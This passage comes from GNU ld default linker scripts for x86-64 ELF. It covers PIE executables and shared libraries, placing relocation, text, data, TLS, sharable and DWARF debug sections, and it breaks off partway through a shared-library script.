      *(.rela.tbss .rela.tbss.* .rela.gnu.linkonce.tb.*)
      *(.rela.ctors)
      *(.rela.dtors)
      *(.rela.got)
      *(.rela.sharable_data .rela.sharable_data.* .rela.gnu.linkonce.shrd.*)
      *(.rela.sharable_bss .rela.sharable_bss.* .rela.gnu.linkonce.shrb.*)
      *(.rela.bss .rela.bss.* .rela.gnu.linkonce.b.*)
      *(.rela.ldata .rela.ldata.* .rela.gnu.linkonce.l.*)
      *(.rela.lbss .rela.lbss.* .rela.gnu.linkonce.lb.*)
      *(.rela.lrodata .rela.lrodata.* .rela.gnu.linkonce.lr.*)
      *(.rela.ifunc)
    }
  .rela.plt       :
    {
      *(.rela.plt)
      PROVIDE_HIDDEN (__rela_iplt_start = .);
      *(.rela.iplt)
      PROVIDE_HIDDEN (__rela_iplt_end = .);
    }
  .init           :
  {
    KEEP (*(.init))
  } =0x90909090
  .plt            : { *(.plt) *(.iplt) }
  .text           :
  {
    *(.text.unlikely .text.*_unlikely)
    *(.text .stub .text.* .gnu.linkonce.t.*)
    /* .gnu.warning sections are handled specially by elf32.em.  */
    *(.gnu.warning)
  } =0x90909090
  .fini           :
  {
    KEEP (*(.fini))
  } =0x90909090
  PROVIDE (__etext = .);
  PROVIDE (_etext = .);
  PROVIDE (etext = .);
  .rodata         : { *(.rodata .rodata.* .gnu.linkonce.r.*) }
  .rodata1        : { *(.rodata1) }
  .eh_frame_hdr : { *(.eh_frame_hdr) }
  .eh_frame       : ONLY_IF_RO { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RO { *(.gcc_except_table .gcc_except_table.*) }
  /* Adjust the address for the data segment.  We want to adjust up to
     the same address within the page on the next page up.  */
  . = ALIGN (CONSTANT (MAXPAGESIZE)) - ((CONSTANT (MAXPAGESIZE) - .) & (CONSTANT (MAXPAGESIZE) - 1)); . = DATA_SEGMENT_ALIGN (CONSTANT (MAXPAGESIZE), CONSTANT (COMMONPAGESIZE));
  /* Exception handling  */
  .eh_frame       : ONLY_IF_RW { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RW { *(.gcc_except_table .gcc_except_table.*) }
  /* Thread Local Storage sections  */
  .tdata	  : { *(.tdata .tdata.* .gnu.linkonce.td.*) }
  .tbss		  : { *(.tbss .tbss.* .gnu.linkonce.tb.*) *(.tcommon) }
  .preinit_array     :
  {
    PROVIDE_HIDDEN (__preinit_array_start = .);
    KEEP (*(.preinit_array))
    PROVIDE_HIDDEN (__preinit_array_end = .);
  }
  .init_array     :
  {
     PROVIDE_HIDDEN (__init_array_start = .);
     KEEP (*(SORT(.init_array.*)))
     KEEP (*(.init_array))
     PROVIDE_HIDDEN (__init_array_end = .);
  }
  .fini_array     :
  {
    PROVIDE_HIDDEN (__fini_array_start = .);
    KEEP (*(.fini_array))
    KEEP (*(SORT(.fini_array.*)))
    PROVIDE_HIDDEN (__fini_array_end = .);
  }
  .ctors          :
  {
    /* gcc uses crtbegin.o to find the start of
       the constructors, so we make sure it is
       first.  Because this is a wildcard, it
       doesn't matter if the user does not
       actually link against crtbegin.o; the
       linker won't look for a file to match a
       wildcard.  The wildcard also means that it
       doesn't matter which directory crtbegin.o
       is in.  */
    KEEP (*crtbegin.o(.ctors))
    KEEP (*crtbegin?.o(.ctors))
    /* We don't want to include the .ctor section from
       the crtend.o file until after the sorted ctors.
       The .ctor section from the crtend file contains the
       end of ctors marker and it must be last */
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .ctors))
    KEEP (*(SORT(.ctors.*)))
    KEEP (*(.ctors))
  }
  .dtors          :
  {
    KEEP (*crtbegin.o(.dtors))
    KEEP (*crtbegin?.o(.dtors))
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .dtors))
    KEEP (*(SORT(.dtors.*)))
    KEEP (*(.dtors))
  }
  .jcr            : { KEEP (*(.jcr)) }
  .data.rel.ro : { *(.data.rel.ro.local* .gnu.linkonce.d.rel.ro.local.*) *(.data.rel.ro* .gnu.linkonce.d.rel.ro.*) }
  .dynamic        : { *(.dynamic) }
  .got            : { *(.got) *(.igot) }
  . = DATA_SEGMENT_RELRO_END (24, .);
  .got.plt        : { *(.got.plt)  *(.igot.plt) }
  .data           :
  {
    *(.data .data.* .gnu.linkonce.d.*)
    SORT(CONSTRUCTORS)
  }
  .data1          : { *(.data1) }
  /* Sharable data sections.  */
  .sharable_data   : ALIGN(CONSTANT (MAXPAGESIZE))
  {
    PROVIDE_HIDDEN (__sharable_data_start = .);
    *(.sharable_data .sharable_data.* .gnu.linkonce.shrd.*)
    /* Align here to ensure that the sharable data section ends at the
       page boundary.  */
    . = ALIGN(. != 0 ? CONSTANT (MAXPAGESIZE) : 1);
    PROVIDE_HIDDEN (__sharable_data_end = .);
  }
  _edata = .; PROVIDE (edata = .);
  __bss_start = .;
  .bss            :
  {
   *(.dynbss)
   *(.bss .bss.* .gnu.linkonce.b.*)
   *(COMMON)
   /* Align here to ensure that the .bss section occupies space up to
      _end.  Align after .bss to ensure correct alignment even if the
      .bss section disappears because there are no input sections.
      FIXME: Why do we need it? When there is no .bss section, we don't
      pad the .data section.  */
   . = ALIGN(. != 0 ? 64 / 8 : 1);
  }
  .lbss   :
  {
    *(.dynlbss)
    *(.lbss .lbss.* .gnu.linkonce.lb.*)
    *(LARGE_COMMON)
  }
  /* Sharable bss sections  */
  .sharable_bss   : ALIGN(CONSTANT (MAXPAGESIZE))
  {
    PROVIDE_HIDDEN (__sharable_bss_start = .);
    *(.dynsharablebss)
    *(.sharable_bss .sharable_bss.* .gnu.linkonce.shrb.*)
    *(SHARABLE_COMMON)
    /* Align here to ensure that the sharable bss section ends at the
       page boundary.  */
    . = ALIGN(. != 0 ? CONSTANT (MAXPAGESIZE) : 1);
    PROVIDE_HIDDEN (__sharable_bss_end = .);
  }
  . = ALIGN(64 / 8);
  .lrodata   ALIGN(CONSTANT (MAXPAGESIZE)) + (. & (CONSTANT (MAXPAGESIZE) - 1)) :
  {
    *(.lrodata .lrodata.* .gnu.linkonce.lr.*)
  }
  .ldata   ALIGN(CONSTANT (MAXPAGESIZE)) + (. & (CONSTANT (MAXPAGESIZE) - 1)) :
  {
    *(.ldata .ldata.* .gnu.linkonce.l.*)
    . = ALIGN(. != 0 ? 64 / 8 : 1);
  }
  . = ALIGN(64 / 8);
  _end = .; PROVIDE (end = .);
  . = DATA_SEGMENT_END (.);
  /* Stabs debugging sections.  */
  .stab          0 : { *(.stab) }
  .stabstr       0 : { *(.stabstr) }
  .stab.excl     0 : { *(.stab.excl) }
  .stab.exclstr  0 : { *(.stab.exclstr) }
  .stab.index    0 : { *(.stab.index) }
  .stab.indexstr 0 : { *(.stab.indexstr) }
  .comment       0 : { *(.comment) }
  /* DWARF debug sections.
     Symbols in the DWARF debugging sections are relative to the beginning
     of the section so we begin them at 0.  */
  /* DWARF 1 */
  .debug          0 : { *(.debug) }
  .line           0 : { *(.line) }
  /* GNU DWARF 1 extensions */
  .debug_srcinfo  0 : { *(.debug_srcinfo) }
  .debug_sfnames  0 : { *(.debug_sfnames) }
  /* DWARF 1.1 and DWARF 2 */
  .debug_aranges  0 : { *(.debug_aranges) }
  .debug_pubnames 0 : { *(.debug_pubnames) }
  /* DWARF 2 */
  .debug_info     0 : { *(.debug_info .gnu.linkonce.wi.*) }
  .debug_abbrev   0 : { *(.debug_abbrev) }
  .debug_line     0 : { *(.debug_line) }
  .debug_frame    0 : { *(.debug_frame) }
  .debug_str      0 : { *(.debug_str) }
  .debug_loc      0 : { *(.debug_loc) }
  .debug_macinfo  0 : { *(.debug_macinfo) }
  /* SGI/MIPS DWARF 2 extensions */
  .debug_weaknames 0 : { *(.debug_weaknames) }
  .debug_funcnames 0 : { *(.debug_funcnames) }
  .debug_typenames 0 : { *(.debug_typenames) }
  .debug_varnames  0 : { *(.debug_varnames) }
  /* DWARF 3 */
  .debug_pubtypes 0 : { *(.debug_pubtypes) }
  .debug_ranges   0 : { *(.debug_ranges) }
  .gnu.attributes 0 : { KEEP (*(.gnu.attributes)) }
  /DISCARD/ : { *(.note.GNU-stack) *(.gnu_debuglink) *(.gnu.lto_*) }
}

/* Script for ld -pie: link position independent executable */
OUTPUT_FORMAT("elf64-x86-64", "elf64-x86-64",
	      "elf64-x86-64")
OUTPUT_ARCH(i386:x86-64)
ENTRY(_start)
SEARCH_DIR("/usr/i686-redhat-linux/lib64"); SEARCH_DIR("/usr/local/lib64"); SEARCH_DIR("/lib64"); SEARCH_DIR("/usr/lib64"); SEARCH_DIR("/usr/i686-redhat-linux/lib"); SEARCH_DIR("/usr/local/lib"); SEARCH_DIR("/lib"); SEARCH_DIR("/usr/lib");
SECTIONS
{
  /* Read-only sections, merged into text segment: */
  . = SEGMENT_START("text-segment", 0) + SIZEOF_HEADERS;
  .interp         : { *(.interp) }
  .note.gnu.build-id : { *(.note.gnu.build-id) }
  .hash           : { *(.hash) }
  .gnu.hash       : { *(.gnu.hash) }
  .dynsym         : { *(.dynsym) }
  .dynstr         : { *(.dynstr) }
  .gnu.version    : { *(.gnu.version) }
  .gnu.version_d  : { *(.gnu.version_d) }
  .gnu.version_r  : { *(.gnu.version_r) }
  .rela.init      : { *(.rela.init) }
  .rela.text      : { *(.rela.text .rela.text.* .rela.gnu.linkonce.t.*) }
  .rela.fini      : { *(.rela.fini) }
  .rela.rodata    : { *(.rela.rodata .rela.rodata.* .rela.gnu.linkonce.r.*) }
  .rela.data.rel.ro   : { *(.rela.data.rel.ro* .rela.gnu.linkonce.d.rel.ro.*) }
  .rela.data      : { *(.rela.data .rela.data.* .rela.gnu.linkonce.d.*) }
  .rela.tdata	  : { *(.rela.tdata .rela.tdata.* .rela.gnu.linkonce.td.*) }
  .rela.tbss	  : { *(.rela.tbss .rela.tbss.* .rela.gnu.linkonce.tb.*) }
  .rela.ctors     : { *(.rela.ctors) }
  .rela.dtors     : { *(.rela.dtors) }
  .rela.got       : { *(.rela.got) }
  .rela.sharable_data	  : { *(.rela.sharable_data .rela.sharable_data.* .rela.gnu.linkonce.shrd.*) }
  .rela.sharable_bss	  : { *(.rela.sharable_bss .rela.sharable_bss.* .rela.gnu.linkonce.shrb.*) }
  .rela.bss       : { *(.rela.bss .rela.bss.* .rela.gnu.linkonce.b.*) }
  .rela.ldata     : { *(.rela.ldata .rela.ldata.* .rela.gnu.linkonce.l.*) }
  .rela.lbss      : { *(.rela.lbss .rela.lbss.* .rela.gnu.linkonce.lb.*) }
  .rela.lrodata   : { *(.rela.lrodata .rela.lrodata.* .rela.gnu.linkonce.lr.*) }
  .rela.ifunc     : { *(.rela.ifunc) }
  .rela.plt       :
    {
      *(.rela.plt)
      PROVIDE_HIDDEN (__rela_iplt_start = .);
      *(.rela.iplt)
      PROVIDE_HIDDEN (__rela_iplt_end = .);
    }
  .init           :
  {
    KEEP (*(.init))
  } =0x90909090
  .plt            : { *(.plt) *(.iplt) }
  .text           :
  {
    *(.text.unlikely .text.*_unlikely)
    *(.text .stub .text.* .gnu.linkonce.t.*)
    /* .gnu.warning sections are handled specially by elf32.em.  */
    *(.gnu.warning)
  } =0x90909090
  .fini           :
  {
    KEEP (*(.fini))
  } =0x90909090
  PROVIDE (__etext = .);
  PROVIDE (_etext = .);
  PROVIDE (etext = .);
  .rodata         : { *(.rodata .rodata.* .gnu.linkonce.r.*) }
  .rodata1        : { *(.rodata1) }
  .eh_frame_hdr : { *(.eh_frame_hdr) }
  .eh_frame       : ONLY_IF_RO { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RO { *(.gcc_except_table .gcc_except_table.*) }
  /* Adjust the address for the data segment.  We want to adjust up to
     the same address within the page on the next page up.  */
  . = ALIGN (CONSTANT (MAXPAGESIZE)) - ((CONSTANT (MAXPAGESIZE) - .) & (CONSTANT (MAXPAGESIZE) - 1)); . = DATA_SEGMENT_ALIGN (CONSTANT (MAXPAGESIZE), CONSTANT (COMMONPAGESIZE));
  /* Exception handling  */
  .eh_frame       : ONLY_IF_RW { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RW { *(.gcc_except_table .gcc_except_table.*) }
  /* Thread Local Storage sections  */
  .tdata	  : { *(.tdata .tdata.* .gnu.linkonce.td.*) }
  .tbss		  : { *(.tbss .tbss.* .gnu.linkonce.tb.*) *(.tcommon) }
  .preinit_array     :
  {
    PROVIDE_HIDDEN (__preinit_array_start = .);
    KEEP (*(.preinit_array))
    PROVIDE_HIDDEN (__preinit_array_end = .);
  }
  .init_array     :
  {
     PROVIDE_HIDDEN (__init_array_start = .);
     KEEP (*(SORT(.init_array.*)))
     KEEP (*(.init_array))
     PROVIDE_HIDDEN (__init_array_end = .);
  }
  .fini_array     :
  {
    PROVIDE_HIDDEN (__fini_array_start = .);
    KEEP (*(.fini_array))
    KEEP (*(SORT(.fini_array.*)))
    PROVIDE_HIDDEN (__fini_array_end = .);
  }
  .ctors          :
  {
    /* gcc uses crtbegin.o to find the start of
       the constructors, so we make sure it is
       first.  Because this is a wildcard, it
       doesn't matter if the user does not
       actually link against crtbegin.o; the
       linker won't look for a file to match a
       wildcard.  The wildcard also means that it
       doesn't matter which directory crtbegin.o
       is in.  */
    KEEP (*crtbegin.o(.ctors))
    KEEP (*crtbegin?.o(.ctors))
    /* We don't want to include the .ctor section from
       the crtend.o file until after the sorted ctors.
       The .ctor section from the crtend file contains the
       end of ctors marker and it must be last */
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .ctors))
    KEEP (*(SORT(.ctors.*)))
    KEEP (*(.ctors))
  }
  .dtors          :
  {
    KEEP (*crtbegin.o(.dtors))
    KEEP (*crtbegin?.o(.dtors))
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .dtors))
    KEEP (*(SORT(.dtors.*)))
    KEEP (*(.dtors))
  }
  .jcr            : { KEEP (*(.jcr)) }
  .data.rel.ro : { *(.data.rel.ro.local* .gnu.linkonce.d.rel.ro.local.*) *(.data.rel.ro* .gnu.linkonce.d.rel.ro.*) }
  .dynamic        : { *(.dynamic) }
  .got            : { *(.got) *(.igot) }
  . = DATA_SEGMENT_RELRO_END (24, .);
  .got.plt        : { *(.got.plt)  *(.igot.plt) }
  .data           :
  {
    *(.data .data.* .gnu.linkonce.d.*)
    SORT(CONSTRUCTORS)
  }
  .data1          : { *(.data1) }
  /* Sharable data sections.  */
  .sharable_data   : ALIGN(CONSTANT (MAXPAGESIZE))
  {
    PROVIDE_HIDDEN (__sharable_data_start = .);
    *(.sharable_data .sharable_data.* .gnu.linkonce.shrd.*)
    /* Align here to ensure that the sharable data section ends at the
       page boundary.  */
    . = ALIGN(. != 0 ? CONSTANT (MAXPAGESIZE) : 1);
    PROVIDE_HIDDEN (__sharable_data_end = .);
  }
  _edata = .; PROVIDE (edata = .);
  __bss_start = .;
  .bss            :
  {
   *(.dynbss)
   *(.bss .bss.* .gnu.linkonce.b.*)
   *(COMMON)
   /* Align here to ensure that the .bss section occupies space up to
      _end.  Align after .bss to ensure correct alignment even if the
      .bss section disappears because there are no input sections.
      FIXME: Why do we need it? When there is no .bss section, we don't
      pad the .data section.  */
   . = ALIGN(. != 0 ? 64 / 8 : 1);
  }
  .lbss   :
  {
    *(.dynlbss)
    *(.lbss .lbss.* .gnu.linkonce.lb.*)
    *(LARGE_COMMON)
  }
  /* Sharable bss sections  */
  .sharable_bss   : ALIGN(CONSTANT (MAXPAGESIZE))
  {
    PROVIDE_HIDDEN (__sharable_bss_start = .);
    *(.dynsharablebss)
    *(.sharable_bss .sharable_bss.* .gnu.linkonce.shrb.*)
    *(SHARABLE_COMMON)
    /* Align here to ensure that the sharable bss section ends at the
       page boundary.  */
    . = ALIGN(. != 0 ? CONSTANT (MAXPAGESIZE) : 1);
    PROVIDE_HIDDEN (__sharable_bss_end = .);
  }
  . = ALIGN(64 / 8);
  .lrodata   ALIGN(CONSTANT (MAXPAGESIZE)) + (. & (CONSTANT (MAXPAGESIZE) - 1)) :
  {
    *(.lrodata .lrodata.* .gnu.linkonce.lr.*)
  }
  .ldata   ALIGN(CONSTANT (MAXPAGESIZE)) + (. & (CONSTANT (MAXPAGESIZE) - 1)) :
  {
    *(.ldata .ldata.* .gnu.linkonce.l.*)
    . = ALIGN(. != 0 ? 64 / 8 : 1);
  }
  . = ALIGN(64 / 8);
  _end = .; PROVIDE (end = .);
  . = DATA_SEGMENT_END (.);
  /* Stabs debugging sections.  */
  .stab          0 : { *(.stab) }
  .stabstr       0 : { *(.stabstr) }
  .stab.excl     0 : { *(.stab.excl) }
  .stab.exclstr  0 : { *(.stab.exclstr) }
  .stab.index    0 : { *(.stab.index) }
  .stab.indexstr 0 : { *(.stab.indexstr) }
  .comment       0 : { *(.comment) }
  /* DWARF debug sections.
     Symbols in the DWARF debugging sections are relative to the beginning
     of the section so we begin them at 0.  */
  /* DWARF 1 */
  .debug          0 : { *(.debug) }
  .line           0 : { *(.line) }
  /* GNU DWARF 1 extensions */
  .debug_srcinfo  0 : { *(.debug_srcinfo) }
  .debug_sfnames  0 : { *(.debug_sfnames) }
  /* DWARF 1.1 and DWARF 2 */
  .debug_aranges  0 : { *(.debug_aranges) }
  .debug_pubnames 0 : { *(.debug_pubnames) }
  /* DWARF 2 */
  .debug_info     0 : { *(.debug_info .gnu.linkonce.wi.*) }
  .debug_abbrev   0 : { *(.debug_abbrev) }
  .debug_line     0 : { *(.debug_line) }
  .debug_frame    0 : { *(.debug_frame) }
  .debug_str      0 : { *(.debug_str) }
  .debug_loc      0 : { *(.debug_loc) }
  .debug_macinfo  0 : { *(.debug_macinfo) }
  /* SGI/MIPS DWARF 2 extensions */
  .debug_weaknames 0 : { *(.debug_weaknames) }
  .debug_funcnames 0 : { *(.debug_funcnames) }
  .debug_typenames 0 : { *(.debug_typenames) }
  .debug_varnames  0 : { *(.debug_varnames) }
  /* DWARF 3 */
  .debug_pubtypes 0 : { *(.debug_pubtypes) }
  .debug_ranges   0 : { *(.debug_ranges) }
  .gnu.attributes 0 : { KEEP (*(.gnu.attributes)) }
  /DISCARD/ : { *(.note.GNU-stack) *(.gnu_debuglink) *(.gnu.lto_*) }
}

/* Script for --shared -z combreloc -z now -z relro: shared library, combine & sort relocs */
OUTPUT_FORMAT("elf64-x86-64", "elf64-x86-64",
	      "elf64-x86-64")
OUTPUT_ARCH(i386:x86-64)
ENTRY(_start)
SEARCH_DIR("/usr/i686-redhat-linux/lib64"); SEARCH_DIR("/usr/local/lib64"); SEARCH_DIR("/lib64"); SEARCH_DIR("/usr/lib64"); SEARCH_DIR("/usr/i686-redhat-linux/lib"); SEARCH_DIR("/usr/local/lib"); SEARCH_DIR("/lib"); SEARCH_DIR("/usr/lib");
SECTIONS
{
  /* Read-only sections, merged into text segment: */
  . = SEGMENT_START("text-segment", 0) + SIZEOF_HEADERS;
  .note.gnu.build-id : { *(.note.gnu.build-id) }
  .hash           : { *(.hash) }
  .gnu.hash       : { *(.gnu.hash) }
  .dynsym         : { *(.dynsym) }
  .dynstr         : { *(.dynstr) }
  .gnu.version    : { *(.gnu.version) }
  .gnu.version_d  : { *(.gnu.version_d) }
  .gnu.version_r  : { *(.gnu.version_r) }
  .rela.dyn       :
    {
      *(.rela.init)
      *(.rela.text .rela.text.* .rela.gnu.linkonce.t.*)
      *(.rela.fini)
      *(.rela.rodata .rela.rodata.* .rela.gnu.linkonce.r.*)
      *(.rela.data .rela.data.* .rela.gnu.linkonce.d.*)
      *(.rela.tdata .rela.tdata.* .rela.gnu.linkonce.td.*)
      *(.rela.tbss .rela.tbss.* .rela.gnu.linkonce.tb.*)
      *(.rela.ctors)
      *(.rela.dtors)
      *(.rela.got)
      *(.rela.sharable_data .rela.sharable_data.* .rela.gnu.linkonce.shrd.*)
      *(.rela.sharable_bss .rela.sharable_bss.* .rela.gnu.linkonce.shrb.*)
      *(.rela.bss .rela.bss.* .rela.gnu.linkonce.b.*)
      *(.rela.ldata .rela.ldata.* .rela.gnu.linkonce.l.*)
      *(.rela.lbss .rela.lbss.* .rela.gnu.linkonce.lb.*)
      *(.rela.lrodata .rela.lrodata.* .rela.gnu.linkonce.lr.*)
      *(.rela.ifunc)
    }
  .rela.plt       :
    {
      *(.rela.plt)
      *(.rela.iplt)
    }
  .init           :
  {
    KEEP (*(.init))
  } =0x90909090
  .plt            : { *(.plt) *(.iplt) }
  .text           :
  {
    *(.text.unlikely .text.*_unlikely)
    *(.text .stub .text.* .gnu.linkonce.t.*)
    /* .gnu.warning sections are handled specially by elf32.em.  */
    *(.gnu.warning)
  } =0x90909090
  .fini           :
  {
    KEEP (*(.fini))
  } =0x90909090
  PROVIDE (__etext = .);
  PROVIDE (_etext = .);
  PROVIDE (etext = .);
  .rodata         : { *(.rodata .rodata.* .gnu.linkonce.r.*) }
  .rodata1        : { *(.rodata1) }
  .eh_frame_hdr : { *(.eh_frame_hdr) }
  .eh_frame       : ONLY_IF_RO { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RO { *(.gcc_except_table .gcc_except_table.*) }
  /* Adjust the address for the data segment.  We want to adjust up to
     the same address within the page on the next page up.  */
  . = ALIGN (CONSTANT (MAXPAGESIZE)) - ((CONSTANT (MAXPAGESIZE) - .) & (CONSTANT (MAXPAGESIZE) - 1)); . = DATA_SEGMENT_ALIGN (CONSTANT (MAXPAGESIZE), CONSTANT (COMMONPAGESIZE));
  /* Exception handling  */
  .eh_frame       : ONLY_IF_RW { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RW { *(.gcc_except_table .gcc_except_table.*) }
  /* Thread Local Storage sections  */
  .tdata	  : { *(.tdata .tdata.* .gnu.linkonce.td.*) }
  .tbss		  : { *(.tbss .tbss.* .gnu.linkonce.tb.*) *(.tcommon) }
  .preinit_array     :
  {
    KEEP (*(.preinit_array))
  }
  .init_array     :
  {
     KEEP (*(SORT(.init_array.*)))
     KEEP (*(.init_array))
  }
  .fini_array     :
  {
    KEEP (*(.fini_array))
    KEEP (*(SORT(.fini_array.*)))
  }
  .ctors          :
  {
    /* gcc uses crtbegin.o to find the start of
       the constructors, so we make sure it is
       first.  Because this is a wildcard, it
       doesn't matter if the user does not
       actually link against crtbegin.o; the
       linker won't look for a file to match a
       wildcard.  The wildcard also means that it
       doesn't matter which directory crtbegin.o
       is in.  */
    KEEP (*crtbegin.o(.ctors))
    KEEP (*crtbegin?.o(.ctors))
    /* We don't want to include the .ctor section from
       the crtend.o file until after the sorted ctors.
       The .ctor section from the crtend file contains the
       end of ctors marker and it must be last */
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .ctors))
    KEEP (*(SORT(.ctors.*)))
    KEEP (*(.ctors))
  }
  .dtors          :
  {
    KEEP (*crtbegin.o(.dtors))
    KEEP (*crtbegin?.o(.dtors))
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .dtors))
    KEEP (*(SORT(.dtors.*)))
    KEEP (*(.dtors))
  }
  .jcr            : { KEEP (*(.jcr)) }
  .data.rel.ro : { *(.data.rel.ro.local* .gnu.linkonce.d.rel.ro.local.*) *(.data.rel.ro* .gnu.linkonce.d.rel.ro.*) }
  .dynamic        : { *(.dynamic) }
  .got            : { *(.got.plt) *(.igot.plt) *(.got) *(.igot) }
  . = DATA_SEGMENT_RELRO_END (0, .);
  .data           :
  {
    *(.data .data.* .gnu.linkonce.d.*)
    SORT(CONSTRUCTORS)
  }
  .data1          : { *(.data1) }
  /* Sharable data sections.  */
  .sharable_data   : ALIGN(CONSTANT (MAXPAGESIZE))
  {
    PROVIDE_HIDDEN (__sharable_data_start = .);
    *(.sharable_data .sharable_data.* .gnu.linkonce.shrd.*)
    /* Align here to ensure that the sharable data section ends at the
       page boundary.  */
    . = ALIGN(. != 0 ? CONSTANT (MAXPAGESIZE) : 1);
    PROVIDE_HIDDEN (__sharable_data_end = .);
  }
  _edata = .; PROVIDE (edata = .);
  __bss_start = .;
  .bss            :
  {
   *(.dynbss)
   *(.bss .bss.* .gnu.linkonce.b.*)
   *(COMMON)
   /* Align here to ensure that the .bss section occupies space up to
      _end.  Align after .bss to ensure correct alignment even if the
      .bss section disappears because there are no input sections.
      FIXME: Why do we need it? When there is no .bss section, we don't
      pad the .data section.  */
   . = ALIGN(. != 0 ? 64 / 8 : 1);
  }
  .lbss   :
  {
    *(.dynlbss)
    *(.lbss .lbss.* .gnu.linkonce.lb.*)
    *(LARGE_COMMON)
  }
  /* Sharable bss sections  */
  .sharable_bss   : ALIGN(CONSTANT (MAXPAGESIZE))
  {
    PROVIDE_HIDDEN (__sharable_bss_start = .);
    *(.dynsharablebss)
    *(.sharable_bss .sharable_bss.* .gnu.linkonce.shrb.*)
    *(SHARABLE_COMMON)
    /* Align here to ensure that the sharable bss section ends at the
       page boundary.  */
    . = ALIGN(. != 0 ? CONSTANT (MAXPAGESIZE) : 1);
    PROVIDE_HIDDEN (__sharable_bss_end = .);
  }
  . = ALIGN(64 / 8);
  .lrodata   ALIGN(CONSTANT (MAXPAGESIZE)) + (. & (CONSTANT (MAXPAGESIZE) - 1)) :
  {
    *(.lrodata .lrodata.* .gnu.linkonce.lr.*)
  }
  .ldata   ALIGN(CONSTANT (MAXPAGESIZE)) + (. & (CONSTANT (MAXPAGESIZE) - 1)) :
  {
    *(.ldata .ldata.* .gnu.linkonce.l.*)
    . = ALIGN(. != 0 ? 64 / 8 : 1);
  }
  . = ALIGN(64 / 8);
  _end = .; PROVIDE (end = .);
  . = DATA_SEGMENT_END (.);
  /* Stabs debugging sections.  */
  .stab          0 : { *(.stab) }
  .stabstr       0 : { *(.stabstr) }
  .stab.excl     0 : { *(.stab.excl) }
  .stab.exclstr  0 : { *(.stab.exclstr) }
  .stab.index    0 : { *(.stab.index) }
  .stab.indexstr 0 : { *(.stab.indexstr) }
  .comment       0 : { *(.comment) }
  /* DWARF debug sections.
     Symbols in the DWARF debugging sections are relative to the beginning
     of the section so we begin them at 0.  */
  /* DWARF 1 */
  .debug          0 : { *(.debug) }
  .line           0 : { *(.line) }
  /* GNU DWARF 1 extensions */
  .debug_srcinfo  0 : { *(.debug_srcinfo) }
  .debug_sfnames  0 : { *(.debug_sfnames) }
  /* DWARF 1.1 and DWARF 2 */
  .debug_aranges  0 : { *(.debug_aranges) }
  .debug_pubnames 0 : { *(.debug_pubnames) }
  /* DWARF 2 */
  .debug_info     0 : { *(.debug_info .gnu.linkonce.wi.*) }
  .debug_abbrev   0 : { *(.debug_abbrev) }
  .debug_line     0 : { *(.debug_line) }
  .debug_frame    0 : { *(.debug_frame) }
  .debug_str      0 : { *(.debug_str) }
  .debug_loc      0 : { *(.debug_loc) }
  .debug_macinfo  0 : { *(.debug_macinfo) }
  /* SGI/MIPS DWARF 2 extensions */
  .debug_weaknames 0 : { *(.debug_weaknames) }
  .debug_funcnames 0 : { *(.debug_funcnames) }
  .debug_typenames 0 : { *(.debug_typenames) }
  .debug_varnames  0 : { *(.debug_varnames) }
  /* DWARF 3 */
  .debug_pubtypes 0 : { *(.debug_pubtypes) }
  .debug_ranges   0 : { *(.debug_ranges) }
  .gnu.attributes 0 : { KEEP (*(.gnu.attributes)) }
  /DISCARD/ : { *(.note.GNU-stack) *(.gnu_debuglink) *(.gnu.lto_*) }
}

/* Script for --shared -z combreloc: shared library, combine & sort relocs */
OUTPUT_FORMAT("elf64-x86-64", "elf64-x86-64",
	      "elf64-x86-64")
OUTPUT_ARCH(i386:x86-64)
ENTRY(_start)
SEARCH_DIR("/usr/i686-redhat-linux/lib64"); SEARCH_DIR("/usr/local/lib64"); SEARCH_DIR("/lib64"); SEARCH_DIR("/usr/lib64"); SEARCH_DIR("/usr/i686-redhat-linux/lib"); SEARCH_DIR("/usr/local/lib"); SEARCH_DIR("/lib"); SEARCH_DIR("/usr/lib");
SECTIONS
{
  /* Read-only sections, merged into text segment: */
  . = SEGMENT_START("text-segment", 0) + SIZEOF_HEADERS;
  .note.gnu.build-id : { *(.note.gnu.build-id) }
  .hash           : { *(.hash) }
  .gnu.hash       : { *(.gnu.hash) }
  .dynsym         : { *(.dynsym) }
  .dynstr         : { *(.dynstr) }
  .gnu.version    : { *(.gnu.version) }
  .gnu.version_d  : { *(.gnu.version_d) }
  .gnu.version_r  : { *(.gnu.version_r) }
  .rela.dyn       :
    {
      *(.rela.init)
      *(.rela.text .rela.text.* .rela.gnu.linkonce.t.*)
      *(.rela.fini)
      *(.rela.rodata .rela.rodata.* .rela.gnu.linkonce.r.*)
      *(.rela.data .rela.data.* .rela.gnu.linkonce.d.*)
      *(.rela.tdata .rela.tdata.* .rela.gnu.linkonce.td.*)
      *(.rela.tbss .rela.tbss.* .rela.gnu.linkonce.tb.*)
      *(.rela.ctors)
      *(.rela.dtors)
      *(.rela.got)
      *(.rela.sharable_data .rela.sharable_data.* .rela.gnu.linkonce.shrd.*)
      *(.rela.sharable_bss .rela.sharable_bss.* .rela.gnu.linkonce.shrb.*)
      *(.rela.bss .rela.bss.* .rela.gnu.linkonce.b.*)
      *(.rela.ldata .rela.ldata.* .rela.gnu.linkonce.l.*)
      *(.rela.lbss .rela.lbss.* .rela.gnu.linkonce.lb.*)
      *(.rela.lrodata .rela.lrodata.* .rela.gnu.linkonce.lr.*)
      *(.rela.ifunc)
    }
  .rela.plt       :
    {
      *(.rela.plt)
      *(.rela.iplt)
    }
  .init           :
  {
    KEEP (*(.init))
  } =0x90909090
  .plt            : { *(.plt) *(.iplt) }
  .text           :
  {
    *(.text.unlikely .text.*_unlikely)
    *(.text .stub .text.* .gnu.linkonce.t.*)
    /* .gnu.warning sections are handled specially by elf32.em.  */
    *(.gnu.warning)
  } =0x90909090
  .fini           :
  {
    KEEP (*(.fini))
  } =0x90909090
